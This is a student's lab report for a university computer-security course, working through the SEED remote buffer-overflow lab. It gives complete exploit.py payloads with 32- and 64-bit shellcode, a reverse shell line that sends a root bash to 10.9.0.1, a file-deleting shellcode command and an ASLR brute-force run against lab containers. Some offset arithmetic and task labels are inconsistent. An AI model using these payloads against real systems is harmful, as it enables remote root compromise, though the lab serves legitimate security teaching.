CPSC 6200: COMPUTER SECURITY PRINCIPLES

Homework 5

Saurabh Sharma
11/16/2023

2) Lab Environment Setup

I had downloaded the Labsetup.zip file to my VM from the lab's website, unzip it, and I get a folder called Labsetup. All the files needed for this lab are included in this folder.

2.1) Turning off Countermeasures

Before starting this lab, we need to make sure the address randomization countermeasure is turned off; otherwise, the attack will be difficult. I did it using the following command:

```
$ sudo /sbin/sysctl -w kernel.randomize_va_space=0
```

```
[11/16/23]seed@VM:~$ sudo /sbin/sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
[11/16/23]seed@VM:~$
```

The Vulnerable Program

The vulnerable program used in this lab is called stack.c, which is in the servercode folder. This program has a buffer-overflow vulnerability, and my job is to exploit this vulnerability and gain the root privilege. The given code has some nonessential information so I removed that.

Compilation

The compilation commands are already provided in Makefile. To compile the code, I typed make to execute those commands. The variables L1, L2, L3, and L4 are set in Makefile; they will be used during the compilation. After the compilation, we need to copy the binary into the bof-containers folder, so they can be used by the containers. The following commands conduct compilation and installation.

I had executed two commands make and make install

```
[11/16/23]seed@VM:~/.../server-code$ make
gcc -o server server.c
gcc -DBUF_SIZE=100 -DSHOW_FP -z execstack -fno-stack-protector -static -m32 -o stack-L1 stack.c
gcc -DBUF_SIZE=180 -z execstack -fno-stack-protector -static -m32 -o stack-L2 stack.c
gcc -DBUF_SIZE=200 -DSHOW_FP -z execstack -fno-stack-protector -o stack-L3 stack.c
gcc -DBUF_SIZE=80 -DSHOW_FP -z execstack -fno-stack-protector -o stack-L4 stack.c
[11/16/23]seed@VM:~/.../server-code$
```

```
[11/16/23]seed@VM:~/.../server-code$ make install
cp server ../bof-containers
cp stack-* ../bof-containers
[11/16/23]seed@VM:~/.../server-code$
```

2.3) Container Setup and Commands

This was already setup on previous so I run dcbuild to setup vms

```
bof-containers  docker-compose.yml  server-code
[11/16/23]seed@VM:~/.../Project3$ dcbuild
Building bof-server-L1
Step 1/6 : FROM handsonsecurity/seed-ubuntu:small
small: Pulling from handsonsecurity/seed-ubuntu
da7391352a9b: Already exists
14428a6d4bcd: Already exists
2c2d948710f2: Already exists
5d39fdfbe330: Pull complete
56b236c9d9da: Pull complete
1bb168ce59cc: Pull complete
588b6963c007: Pull complete
Digest: sha256:53d27ec4a356184997bd520bb2dc7c7ace102bfe57ecfc0909e3524aabf8a0be
Status: Downloaded newer image for handsonsecurity/seed-ubuntu:small
 ---> 1102071f4a1d
Step 2/6 : COPY server    /bof/
 ---> a1f4166f8450
```

```
 ---> d4f7330b6ff4
Step 6/6 : CMD ./server
 ---> Using cache
 ---> 5bd2701e8920

Successfully built 5bd2701e8920
Successfully tagged seed-image-bof-server-4:latest
[11/16/23]seed@VM:~/.../Project3$ docker-compose up
Creating network "net-10.9.0.0" with the default driver
Creating server-3-10.9.0.7 ... done
Creating server-1-10.9.0.5 ... done
Creating server-4-10.9.0.8 ... done
Creating server-2-10.9.0.6 ... done
Attaching to server-3-10.9.0.7, server-1-10.9.0.5, server-2-10.9.0.6, server-4-10.9.0.8
```

Lets see the running docker containers

```
[11/16/23]seed@VM:~/.../Project3$ dockps
019d51a435fc  server-4-10.9.0.8
ba5cb71aca88  user2-10.9.0.7
d77c1dc6f9aa  user1-10.9.0.6
f25d51e76762  seed-attacker
b63679ea10d2  victim-10.9.0.5
[11/16/23]seed@VM:~/.../Project3$
```

Lets enter to the victim-10.9.0.5 container

```
[11/16/23]seed@VM:~/.../Project3$ docksh b63679ea10d2
root@b63679ea10d2:/#
```

As of now I have completed all the setup; now lets continue with task.

Task 1: Get Familiar with the Shellcode

First, I had run make inside the shellcode and this gives the following output.

```
[11/16/23]seed@VM:~/.../shellcode$ make
gcc -m32 -z execstack -o a32.out call_shellcode.c
gcc -z execstack -o a64.out call_shellcode.c
[11/16/23]seed@VM:~/.../shellcode$
```

After running python3 shellcode_32.py two file were generated as show in below screenshot

```
[11/16/23]seed@VM:~/.../shellcode$ python3 shellcode_32.py
[11/16/23]seed@VM:~/.../shellcode$ ls
a32.out  a64.out  call_shellcode.c  codefile_32  Makefile  shellcode_32.py  shellcode_64.py
[11/16/23]seed@VM:~/.../shellcode$
```

After running the python3 shellcode_32.py codefile_64 generated.

```
[11/16/23]seed@VM:~/.../shellcode$ python3 shellcode_64.py
[11/16/23]seed@VM:~/.../shellcode$ ls
a32.out  call_shellcode.c  codefile_64  shellcode_32.py
a64.out  codefile_32       Makefile     shellcode_64.py
[11/16/23]seed@VM:~/.../shellcode$
```

After that I have test the shellcode by running a32.out and a64.out

Task : Lets create the one file name test by modifying shellcode_32.py.

```
    # You can modify the following command string to run any command.
    # You can even run multiple commands. When you change the string,
    # make sure that the position of the * at the end doesn't change.
    # The code above will change the byte at this position to zero,
    # so the command string ends here.
    # You can delete/add spaces, if needed, to keep the position the same.
    # The * in this line serves as the position marker         *
#    "/bin/ls -l; echo Hello 32; /bin/tail -n 2 /etc/passwd     *"
    "echo 'create a file test'; /bin/touch /tmp/test           *"
    "AAAA"   # Placeholder for argv[0] --> "/bin/bash"
```

Lets check the temp folder

```
[11/16/23]seed@VM:~/.../shellcode$ ls /tmp/
config-err-XmigIJ
_MEIsmulQs
snap.snap-store
ssh-aHih3o3z9I29
systemd-private-c9b8e268d678479f9f62cdce8390c400-colord.service-oZmOpg
systemd-private-c9b8e268d678479f9f62cdce8390c400-fwupd.service-zJho1i
systemd-private-c9b8e268d678479f9f62cdce8390c400-ModemManager.service-kXCbbi
systemd-private-c9b8e268d678479f9f62cdce8390c400-switcheroo-control.service-mcV1Yh
systemd-private-c9b8e268d678479f9f62cdce8390c400-systemd-logind.service-pV44oj
systemd-private-c9b8e268d678479f9f62cdce8390c400-systemd-resolved.service-GEgD7g
systemd-private-c9b8e268d678479f9f62cdce8390c400-systemd-timesyncd.service-z0A2pj
systemd-private-c9b8e268d678479f9f62cdce8390c400-upower.service-NO14Ih
tracker-extract-files.1000
tracker-extract-files.125
VMwareDnD
```

I have rerun the shellcode_32.py to make updated the change
Now run ./a32.out

```
[11/16/23]seed@VM:~/.../shellcode$ ./a32.out
create a file test
[11/16/23]seed@VM:~/.../shellcode$
```

Output shows create a file test let's check in /temp

```
[11/16/23]seed@VM:~/.../shellcode$ ls /tmp/
config-err-XmigIJ
_MEIsmulQs
snap.snap-store
ssh-aHih3o3z9I29
systemd-private-c9b8e268d678479f9f62cdce8390c400-colord.service-oZmOpg
systemd-private-c9b8e268d678479f9f62cdce8390c400-fwupd.service-zJho1i
systemd-private-c9b8e268d678479f9f62cdce8390c400-ModemManager.service-kXCbbi
systemd-private-c9b8e268d678479f9f62cdce8390c400-switcheroo-control.service-mcV1Yh
systemd-private-c9b8e268d678479f9f62cdce8390c400-systemd-logind.service-pV44oj
systemd-private-c9b8e268d678479f9f62cdce8390c400-systemd-resolved.service-GEgD7g
systemd-private-c9b8e268d678479f9f62cdce8390c400-systemd-timesyncd.service-z0A2pj
systemd-private-c9b8e268d678479f9f62cdce8390c400-upower.service-NO14Ih
test
tracker-extract-files.1000
tracker-extract-files.125
VMwareDnD
[11/16/23]seed@VM:~/.../shellcode$
```

From the 64 bit file lets deleted the recently created test file. I have modified the code as below.

```
 GNU nano 4.8                                shellcode_64.py
import sys

# You can use this shellcode to run any command you want
shellcode = (
   "\xeb\x36\x5b\x48\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x48"
   "\x89\x5b\x48\x48\x8d\x4b\x0a\x48\x89\x4b\x50\x48\x8d\x4b\x0d\x48"
   "\x89\x4b\x58\x48\x89\x43\x60\x48\x89\xdf\x48\x8d\x73\x48\x48\x31"
   "\xd2\x48\x31\xc0\xb0\x3b\x0f\x05\xe8\xc5\xff\xff\xff"
   "/bin/bash*"
   "-c*"
   # You can modify the following command string to run any command.
   # You can even run multiple commands. When you change the string,
   # make sure that the position of the * at the end doesn't change.
   # The code above will change the byte at this position to zero,
   # so the command string ends here.
   # You can delete/add spaces, if needed, to keep the position the same.
   # The * in this line serves as the position marker         *
#    "/bin/ls -l; echo Hello 64; /bin/tail -n 4 /etc/passwd     *"
  "echo 'delete the test file'; /bin/rm /tmp/test               *"
  "AAAAAAAA"    # Placeholder for argv[0] --> "/bin/bash"
```

After changed code I ran the shellcode_64.py to update the change

And I run ./a64.out and it shows it deleted the test file

```
[11/16/23]seed@VM:~/.../shellcode$ python3 shellcode_64.py
[11/16/23]seed@VM:~/.../shellcode$ ./a64.out
delete the test file
[11/16/23]seed@VM:~/.../shellcode$
```

Lets check the tmp folder whether the file was deleted or not.

```
[11/16/23]seed@VM:~/.../shellcode$ ls /tmp/
config-err-XmigIJ
_MEIsmulQs
snap.snap-store
ssh-aHih3o3z9I29
systemd-private-c9b8e268d678479f9f62cdce8390c400-colord.service-oZmOpg
systemd-private-c9b8e268d678479f9f62cdce8390c400-fwupd.service-zJho1i
systemd-private-c9b8e268d678479f9f62cdce8390c400-ModemManager.service-kXCbbi
systemd-private-c9b8e268d678479f9f62cdce8390c400-switcheroo-control.service-mcV1Yh
systemd-private-c9b8e268d678479f9f62cdce8390c400-systemd-logind.service-pV44oj
systemd-private-c9b8e268d678479f9f62cdce8390c400-systemd-resolved.service-GEgD7g
systemd-private-c9b8e268d678479f9f62cdce8390c400-systemd-timesyncd.service-z0A2pj
systemd-private-c9b8e268d678479f9f62cdce8390c400-upower.service-NO14Ih
tracker-extract-files.1000
tracker-extract-files.125
VMwareDnD
[11/16/23]seed@VM:~/.../shellcode$
```

Yes, the test file was deleted from the tmp directory.

Task 2: Level-1 Attack

When I started the containers using the included docker-compose.yml file, four containers were running, representing four levels of difficulties. I worked on Level 1 in this task.

Server

Our first target runs on 10.9.0.5 (the port number is 9090), and the vulnerable program stack is a 32-bit program. Let's first send a benign message to this server. We will see the following messages printed out by the target container (the actual messages you see may be different).

```
[11/16/23]seed@VM:~/.../attack-code$ echo hello | nc 10.9.0.5 9090
^C
[11/16/23]seed@VM:~/.../attack-code$ echo hello | nc 10.9.0.5 9090
^C
[11/16/23]seed@VM:~/.../attack-code$
```

```
Successfully tagged seed-image-bof-server-4:latest
[11/16/23]seed@VM:~/.../Project3$ docker-compose up
Creating network "net-10.9.0.0" with the default driver
Creating server-3-10.9.0.7 ... done
Creating server-1-10.9.0.5 ... done
Creating server-4-10.9.0.8 ... done
Creating server-2-10.9.0.6 ... done
Attaching to server-3-10.9.0.7, server-1-10.9.0.5, server-2-10.9.0.6, server-4-10.9.0.8
server-1-10.9.0.5 | Got a connection from 10.9.0.1
server-1-10.9.0.5 | Starting stack
server-1-10.9.0.5 | Input size: 6
server-1-10.9.0.5 | Frame Pointer (ebp) inside bof():  0xffffd568
server-1-10.9.0.5 | Buffer's address inside bof():     0xffffd4f8
server-1-10.9.0.5 | ==== Returned Properly ====
server-1-10.9.0.5 | Got a connection from 10.9.0.1
server-1-10.9.0.5 | Starting stack
server-1-10.9.0.5 | Input size: 6
server-1-10.9.0.5 | Frame Pointer (ebp) inside bof():  0xffffd568
server-1-10.9.0.5 | Buffer's address inside bof():     0xffffd4f8
server-1-10.9.0.5 | ==== Returned Properly ====
```

The server will accept up to 517 bytes of the data from the user, and that will cause a buffer overflow. My job is to construct your payload to exploit this vulnerability. If I save your payload in a file, I can send the payload to the server using the following command.

Let's create the bad file and send it to the server

```
[11/16/23]seed@VM:~/.../attack-code$ touch badfile
[11/16/23]seed@VM:~/.../attack-code$ cat badfile | nc 10.9.0.5 9090
```

```
server-1-10.9.0.5 | ==== Returned Properly ====
server-1-10.9.0.5 | Got a connection from 10.9.0.1
server-1-10.9.0.5 | Starting stack
server-1-10.9.0.5 | Input size: 0
server-1-10.9.0.5 | Frame Pointer (ebp) inside bof():  0xffffd568
server-1-10.9.0.5 | Buffer's address inside bof():     0xffffd4f8
server-1-10.9.0.5 | ==== Returned Properly ====
```

Server program returns "Returned Properly" message
For this task, two pieces of information essential for buffer-overflow attacks are printed out as hints given to us: the value of the frame pointer and the address of the buffer (lines marked by +). The frame point register called ebp for the x86 architecture and rbp for the x64 architecture. we can use these two pieces of information to construct your payload.

Writing Exploit Code and Launching Attack

To exploit the buffer-overflow vulnerability in the target program, we need to prepare a payload, and save it inside a file (we will use badfile as the file name in this document). We will use a Python program to do that. They provide a skeleton program called exploit.py, which is included in the lab setup file. The code is incomplete, and we need to replace some of the essential values in the code.
I have updated the exploit.py file and added shellcode content from shellcode_32 as shown in figure below.

```
 GNU nano 4.8                          exploit.py                          Modified
shellcode = (
   "\xeb\x29\x5b\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x89\x5b"
   "\x48\x8d\x4b\x0a\x89\x4b\x4c\x8d\x4b\x0d\x89\x4b\x50\x89\x43\x54"
   "\x8d\x4b\x48\x31\xd2\x31\xc0\xb0\x0b\xcd\x80\xe8\xd2\xff\xff\xff"
   "/bin/bash*"
   "-c*"
   # You can modify the following command string to run any command.
   # You can even run multiple commands. When you change the string,
   # make sure that the position of the * at the end doesn't change.
   # The code above will change the byte at this position to zero,
   # so the command string ends here.
   # You can delete/add spaces, if needed, to keep the position the same.
   # The * in this line serves as the position marker         *
   # "/bin/ls -l; echo Hello 32; /bin/tail -n 2 /etc/passwd     *"
   "echo 'create a file test'; /bin/touch /tmp/test           *"
   "AAAA"   # Placeholder for argv[0] --> "/bin/bash"
   "BBBB"   # Placeholder for argv[1] --> "-c"
   "CCCC"   # Placeholder for argv[2] --> the command string
   "DDDD"   # Placeholder for argv[3] --> NULL
).encode('latin-1')
```

```
# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))
#get information from
# $ebp=0xffffd568
#&buffer address=0xffffd4f8
#$ebp-&buffer = 112
################################################################
# Put the shellcode somewhere in the payload
start = 517 - len(shellcode)               # Change this number
content[start:start + len(shellcode)] = shellcode

# Decide the return address value
# and put it somewhere in the payload
ret    = 0xffffd568     # Change this number 10 to other numbers
offset = 112+4              # Change this number $ebp-&buffer + 4

# Use 4 for 32-bit address and 8 for 64-bit address
content[offset:offset + 4] = (ret).to_bytes(4,byteorder='little')
################################################################
```

Check is there anything in tmp folder in 10.0.9.5 server

```
[11/16/23]seed@VM:~/.../Project3$ docksh 8ede6df9bb62
root@8ede6df9bb62:/bof# ls /tmp/
root@8ede6df9bb62:/bof#
```

So the tmp directory found empty.

Calculate the address

$ebp=0xffffd568
&buffer address=0xffffd4f8
$ebp-&buffer = 112

```
[11/16/23]seed@VM:~/.../attack-code$ python3
Python 3.8.5 (default, Jul 28 2020, 12:59:40)
[GCC 9.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> 0x568-0x4f8
112
>>>
```

Lets execute the exploit.py and see the badfile. After I finish the above program, I run it. This generate the contents for badfile. Then feed it to the vulnerable server. If I exploit is implemented correctly, the command I put inside my shellcode will be executed. If my command generates some outputs, I should be able to see them from the container window.

```
[11/16/23]seed@VM:~/.../attack-code$ cat badfile | nc 10.9.0.5 9090
[11/16/23]seed@VM:~/.../attack-code$
```

After executing the above command, we can see the test file in 10.9.0.5 server.

```
root@8ede6df9bb62:/bof# ls /tmp/
test
root@8ede6df9bb62:/bof#
```

Reverse shell.
We are not interested in running some pre-determined commands. We want to get a root shell on the target server, so we can type any command we want. Since we are on a remote machine, if we simply get the server to run /bin/sh, we won't be able to control the shell program. Reverse shell is a typical technique to solve this problem. I have modified the command string in my shellcode, so I get a reverse shell on the target server. Screenshot of the same is attached herewith

```
 GNU nano 4.8                                exploit.py
#!/usr/bin/python3
import sys

shellcode = (
   "\xeb\x29\x5b\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x89\x5b"
   "\x48\x8d\x4b\x0a\x89\x4b\x4c\x8d\x4b\x0d\x89\x4b\x50\x89\x43\x54"
   "\x8d\x4b\x48\x31\xd2\x31\xc0\xb0\x0b\xcd\x80\xe8\xd2\xff\xff\xff"
   "/bin/bash*"
   "-c*"
   # You can modify the following command string to run any command.
   # You can even run multiple commands. When you change the string,
   # make sure that the position of the * at the end doesn't change.
   # The code above will change the byte at this position to zero,
   # so the command string ends here.
   # You can delete/add spaces, if needed, to keep the position the same.
   # The * in this line serves as the position marker         *
   # "/bin/ls -l; echo Hello 32; /bin/tail -n 2 /etc/passwd     *"
#   "echo 'create a file test'; /bin/touch /tmp/test           *"
   "/bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1           *"
   "AAAA"   # Placeholder for argv[0] --> "/bin/bash"
```

```
[11/16/23]seed@VM:~/.../attack-code$ nc -nv -l 9090
Listening on 0.0.0.0 9090
```

Lets execute the exploit.py file

```
[11/16/23]seed@VM:~/.../attack-code$ python3 exploit.py
[11/16/23]seed@VM:~/.../attack-code$ cat badfile | nc 10.9.0.5 9090
```

After executing we see that connection received from 10.9.0.5 and we can run any command as a root on 10.9.0.5 server

```
[11/16/23]seed@VM:~/.../attack-code$ nc -nv -l 9090
Listening on 0.0.0.0 9090
Connection received on 10.9.0.5 38698
root@8ede6df9bb62:/bof#
```

So, I can execute the and get the access from local machine to server.

Task 3: Level-2 Attack

Go to the server 2 i.e., 10.9.0.6

```
[11/16/23]seed@VM:~/.../Project3$ docksh 682d21070ad3
root@682d21070ad3:/bof#
```

Let's see if there is any connection in server 2

```
server-1-10.9.0.5 | Buffer's address inside bof():     0xffffd4f8
server-1-10.9.0.5 | create a file test
server-1-10.9.0.5 | Got a connection from 10.9.0.1
server-1-10.9.0.5 | Starting stack
server-1-10.9.0.5 | Input size: 517
server-1-10.9.0.5 | Frame Pointer (ebp) inside bof():  0xffffd568
server-1-10.9.0.5 | Buffer's address inside bof():     0xffffd4f8
```

Is show no connection in 10.9.0.6
Let's send the echo hello to server-2. We can see the following information

```
server-1-10.9.0.5 | Frame Pointer (ebp) inside bof():  0xffffd568
server-1-10.9.0.5 | Buffer's address inside bof():     0xffffd4f8
server-2-10.9.0.6 | Got a connection from 10.9.0.1
server-2-10.9.0.6 | Starting stack
server-2-10.9.0.6 | Input size: 6
server-2-10.9.0.6 | Buffer's address inside bof():     0xffffd4a8
server-2-10.9.0.6 | ==== Returned Properly ====
```

Let's update the exploit.py file and update the buffer address as 0xffffd4a8 and buffer size is unknown at this time without $ebp.

Let's check the buffer size

```
-rw-rw-r-- 1 seed seed 137
-rw-rw-r-- 1 seed seed 167
```

137 and 167
Range of the buffer size (in bytes): [100, 300]

Following change has been done in exploit.py file

buffer address=0xffffd4a8
ret = 0xffffd4a8 + 300
#put the ret in the first 240=60*4 bytes of the badfile
# Use 4 for 32-bit address and 8 for 64-bit address
for i in range(60):
    offset = i*4
    content[offset:offset + 4] = (ret).to_bytes(4,byteorder='little')

```
#&buffer address=0xffffd4a8
# buffer size unknown without $ebp
###################################################################
# Put the shellcode somewhere in the payload
start = 517 - len(shellcode)               # Change this number
content[start:start + len(shellcode)] = shellcode

# Decide the return address value
# and put it somewhere in the payload
ret    = 0xffffd4a8 + 300     # Change this number 10 to other numbers

#put the ret in the first 240=60*4 bytes of the badfile
# Use 4 for 32-bit address and 8 for 64-bit address
for i in range(60):
        offset = i*4
        content[offset:offset + 4] = (ret).to_bytes(4,byteorder='little')
###################################################################
```

My job is to construct one payload to exploit the buffer overflow vulnerability on the server and get a root shell on the target server (using the reverse shell technique). I am only allowed to construct one payload that works for any buffer size within this range.
Let's attack server 10.9.0.6

```
[11/16/23]seed@VM:~/.../attack-code$ cat badfile | nc 10.9.0.6 9090
[11/16/23]seed@VM:~/.../attack-code$
```

```
server-2-10.9.0.6 | Buffer's address inside bof():     0xffffd4a8
server-2-10.9.0.6 | create a file test
```

```
root@682d21070ad3:/bof# ls /tmp/
test
root@682d21070ad3:/bof#
```

Test file created on server 10.9.0.6

Reverse shell.
Update exploit.py file and add "/bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1 *"
Execute exploit.py file
Listening on the local server

```
[11/16/23]seed@VM:~/.../attack-code$ nc -nv -l 9090
Listening on 0.0.0.0 9090
```

Execute badfile

```
[11/16/23]seed@VM:~/.../attack-code$ nc -nv -l 9090
Listening on 0.0.0.0 9090
Connection received on 10.9.0.6 35022
root@682d21070ad3:/bof#
```

After that We can see the connection on server from local

Task 4: Level-3 Attack

In the previous tasks, our target servers are 32-bit programs. In this task, we switch to a 64-bit server program. Our new target is 10.9.0.7, which runs the 64-bit version of the stack program.

The focus of this task is to deal with buffers with 64-bit addresses. The lab manual describes the problems encountered in this experiment as follows compared to buffer-overflow attacks on 32-bit machines, attacks on 64-bit machines are more difficult. The most difficult part is the address. Although the x64 architecture supports 64-bit address space, only the address from 0x00 through 0x00007FFFFFFFFFFF is allowed. That means for every address (8 bytes), the highest two bytes are always zeros. This causes a problem.

In our buffer-overflow attacks, we need to store at least one address in the payload, and the payload will be copied into the stack via strcpy(). We know that the strcpy() function will stop copying when it sees a zero. Therefore, if a zero appears in the middle of the payload, the content after the zero cannot be copied into the stack. How to solve this problem is the most difficult challenge in this attack.

The solution is to use little endian for ret and reuse the one in the address \0x00\0x00
Likewise, we first echo hello

```
server-3-10.9.0.7 | Got a connection from 10.9.0.1
server-3-10.9.0.7 | Starting stack
server-3-10.9.0.7 | Input size: 6
server-3-10.9.0.7 | Frame Pointer (rbp) inside bof():  0x00007fffffffe080
server-3-10.9.0.7 | Buffer's address inside bof():     0x00007fffffffdfb0
server-3-10.9.0.7 | ==== Returned Properly ====
```

Now Modify exploit.py

```
).encode('latin-1')
# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))
#get information from
# $ebp=0xffffd568
#&buffer address=0xffffd4f8
#$ebp-&buffer = 112
##################################################################
# Put the shellcode somewhere in the payload
start = 0               # Change this number
content[start:start + len(shellcode)] = shellcode

# Decide the return address value
# and put it somewhere in the payload
ret    = 0x00007fffffffe080     # Change this number 10 to other numbers
offset = 216              # Change this number

# Use 4 for 32-bit address and 8 for 64-bit address
content[offset:offset + 8] = (ret).to_bytes(8,byteorder='little')
##################################################################

# Write the content to a file
with open('badfile', 'wb') as f:
  f.write(content)
```

Added ref = 0x00007fffffffe080
Ref = (0x00007fffffffe080- 0x00007fffffffdfb0)+8 = 216

```
[11/16/23]seed@VM:~/.../attack-code$ python3
Python 3.8.5 (default, Jul 28 2020, 12:59:40)
[GCC 9.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> 0xe080-0xdfb0
208
>>>
```

Run the following command after modify

And result got below:

```
[11/16/23]seed@VM:~/.../attack-code$ python3 exploit.py
[11/16/23]seed@VM:~/.../attack-code$ cat badfile | nc 10.9.0.7 9090
[11/16/23]seed@VM:~/.../attack-code$
```

```
server-3-10.9.0.7 | Frame Pointer (rbp) inside bof():  0x00007fffffffe080
server-3-10.9.0.7 | Buffer's address inside bof():     0x00007fffffffdfb0
server-3-10.9.0.7 | Got a connection from 10.9.0.1
server-3-10.9.0.7 | Starting stack
server-3-10.9.0.7 | Input size: 517
server-3-10.9.0.7 | Frame Pointer (rbp) inside bof():  0x00007fffffffe080
server-3-10.9.0.7 | Buffer's address inside bof():     0x00007fffffffdfb0
```

Task 5: Level-4 Attack

The server in this task is like that in Level 3, except that the buffer size is much smaller. From the following printout, I can see the distance between the frame pointer and the buffer's address is only about 32 bytes (the actual distance in the lab may be different). In Level 3, the distance is much larger. My goal is the same: get the root shell on this server. The server still takes in 517 byte of input data from the user.

This task focuses on performing a return-to-libc attack. Likewise, we first echo hello
Modify exploit.py

```
).encode('latin-1')
# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))
#get information from
# $ebp=0xffffd568
#&buffer address=0xffffd4f8
#$ebp-&buffer = 112
############################################################
# Put the shellcode somewhere in the payload
start = 517 - len(shellcode)               # Change this number
content[start:start + len(shellcode)] = shellcode

# Decide the return address value
# and put it somewhere in the payload
ret    = 0x00007fffffffe600  + 1000   # Change this number 10 to other numbers
offset = 104              # Change this number

# Use 4 for 32-bit address and 8 for 64-bit address
content[offset:offset + 8] = (ret).to_bytes(8,byteorder='little')
############################################################
# Write the content to a file
with open('badfile', 'wb') as f:
  f.write(content)
```

In this case set start = start = 517 - len(shellcode)
ret = 0x00007fffffffe600+ 1000
offset= 0x00007fffffffe600− 0x00007fffffffe5a0+8 = 96+8=104

```
server-4-10.9.0.8 | Got a connection from 10.9.0.1
server-4-10.9.0.8 | Starting stack
server-4-10.9.0.8 | Input size: 517
server-4-10.9.0.8 | Frame Pointer (rbp) inside bof():  0x00007fffffffe600
server-4-10.9.0.8 | Buffer's address inside bof():     0x00007fffffffe5a0
```

Task 6: Experimenting with the Address Randomization

At the beginning of this lab, we turned off one of the countermeasures, the Address Space Layout Random- ization (ASLR). In this task, we will turn it back on, and see how it affects the attack. I can run the following command on my VM to enable ASLR. This change is global, and it will affect all the containers running inside the VM.
sudo /sbin/sysctl -w kernel.randomize_va_space=2

```
[11/16/23]seed@VM:~/.../Project3$ sudo /sbin/sysctl -w kernel.randomize_va_space=2
kernel.randomize_va_space = 2
[11/16/23]seed@VM:~/.../Project3$
```

I send a hello message to the Level 1 and Level 3 servers, and I did it multiple times.

```
[11/16/23]seed@VM:~/.../Project3$ echo hello | nc 10.9.0.5 9090
^C
[11/16/23]seed@VM:~/.../Project3$ echo hello | nc 10.9.0.5 9090
^C
[11/16/23]seed@VM:~/.../Project3$ echo hello | nc 10.9.0.5 9090
^C
[11/16/23]seed@VM:~/.../Project3$
```

```
server-1-10.9.0.5 | Got a connection from 10.9.0.1
server-1-10.9.0.5 | Starting stack
server-1-10.9.0.5 | Input size: 6
server-1-10.9.0.5 | Frame Pointer (ebp) inside bof():  0xfff57cd8
server-1-10.9.0.5 | Buffer's address inside bof():     0xfff57c68
server-1-10.9.0.5 | ==== Returned Properly ====
server-1-10.9.0.5 | Got a connection from 10.9.0.1
server-1-10.9.0.5 | Starting stack
server-1-10.9.0.5 | Input size: 6
server-1-10.9.0.5 | Frame Pointer (ebp) inside bof():  0xffcdfe68
server-1-10.9.0.5 | Buffer's address inside bof():     0xffcdfdf8
server-1-10.9.0.5 | ==== Returned Properly ====
server-1-10.9.0.5 | Got a connection from 10.9.0.1
server-1-10.9.0.5 | Starting stack
server-1-10.9.0.5 | Input size: 6
server-1-10.9.0.5 | Frame Pointer (ebp) inside bof():  0xfff02678
server-1-10.9.0.5 | Buffer's address inside bof():     0xfff02608
server-1-10.9.0.5 | ==== Returned Properly ====
```

At this time, I see the different address each time when I request to the server. It can be seen that each time the address is different, making the attack difficult.

Defeating the 32-bit randomization.

In this task, we will give it a try on the 32-bit Level 1 server. We use the bruteforce approach to attack the server repeatedly, hoping that the address we put in our payload can eventually be correct. We will use the payload from the Level-1 attack. I can use the following shell script to run the vulnerable program in an infinite loop. If I get a reverse shell, the script will stop; otherwise, it will keep running. If you are not so unlucky, I should be able to get a reverse shell within 10 minutes.

```
The program has been running 54371 times so far.
11 minutes and 33 seconds elapsed.
The program has been running 54372 times so far.
11 minutes and 33 seconds elapsed.
The program has been running 54373 times so far.
11 minutes and 33 seconds elapsed.
The program has been running 54374 times so far.
11 minutes and 33 seconds elapsed.
The program has been running 54375 times so far.
11 minutes and 33 seconds elapsed.
The program has been running 54376 times so far.
11 minutes and 33 seconds elapsed.
The program has been running 54377 times so far.
11 minutes and 33 seconds elapsed.
The program has been running 54378 times so far.
11 minutes and 33 seconds elapsed.
The program has been running 54379 times so far.
11 minutes and 33 seconds elapsed.
The program has been running 54380 times so far.
11 minutes and 33 seconds elapsed.
The program has been running 54381 times so far.
11 minutes and 33 seconds elapsed.
The program has been running 54382 times so far.
```

Trying for 11 minutes and running for 54382 number of times, the permission is successfully obtained

```
[11/16/23]seed@VM:~/.../server-code$ nc -lnv 9090
Listening on 0.0.0.0 9090
Connection received on 10.9.0.5 44150
root@8ede6df9bb62:/bof#
```

Tasks 7: Experimenting with Other Countermeasures

Task 7.a: Turn on the Stack Guard Protection

I go to the server-code folder, remove -fno-stack-protectorcompile stack.c, and use badfile as input

I had changed the Makefile and compile that.

```
[11/16/23]seed@VM:~/.../server-code$ make stack-L1ESP
gcc -DBUF_SIZE=100 -DSHOW_FP -z execstack -static -m32 -o stack-L1ESP stack.c
[11/16/23]seed@VM:~/.../server-code$
```

```
[11/16/23]seed@VM:~/.../server-code$ ls
Makefile      server     stack.c    stack-L1ESP  stack-L3
Makefile_bkp  server.c   stack-L1   stack-L2     stack-L4
[11/16/23]seed@VM:~/.../server-code$
```

Now copy badfile to the server-code; and run stack-L1ESP and supply this badfile.

```
[11/16/23]seed@VM:~/.../server-code$ ./stack-L1ESP < badfile
Input size: 517
Frame Pointer (ebp) inside bof():  0xffbf5fb8
Buffer's address inside bof():     0xffbf5f48
*** stack smashing detected ***: terminated
Aborted
[11/16/23]seed@VM:~/.../server-code$
```

But in this case, there show stack smashing detected terminated and Aborted due to that stack protector.

Task 7.b: Turn on the Non-executable Stack Protection

In this task, we will make the stack non-executable. We will do this experiment in the shellcode folder. The call shellcode program puts a copy of shellcode on the stack, and then executes the code from the stack. I have recompiled call shellcode.c into a32.out and a64.out, without the "-z execstack" option.

We can specifically make it non- executable using the "-z noexecstack" flag in the compilation. In our previous tasks, we used "-z execstack" to make stacks executable.

```
all:
        gcc -m32  -o a32.out call_shellcode.c
        gcc  -o a64.out call_shellcode.c

clean:
        rm -f a32.out a64.out codefile_32 codefile_64
```

```
[11/16/23]seed@VM:~/.../shellcode$ make
gcc -m32  -o a32.out call_shellcode.c
gcc  -o a64.out call_shellcode.c
[11/16/23]seed@VM:~/.../shellcode$
```

After executing the a32.out and a64.out I get segmentation fault

```
[11/16/23]seed@VM:~/.../shellcode$ ./a32.out
Segmentation fault
[11/16/23]seed@VM:~/.../shellcode$ ./a64.out
Segmentation fault
[11/16/23]seed@VM:~/.../shellcode$
```

As we can see, the stack is no longer executable.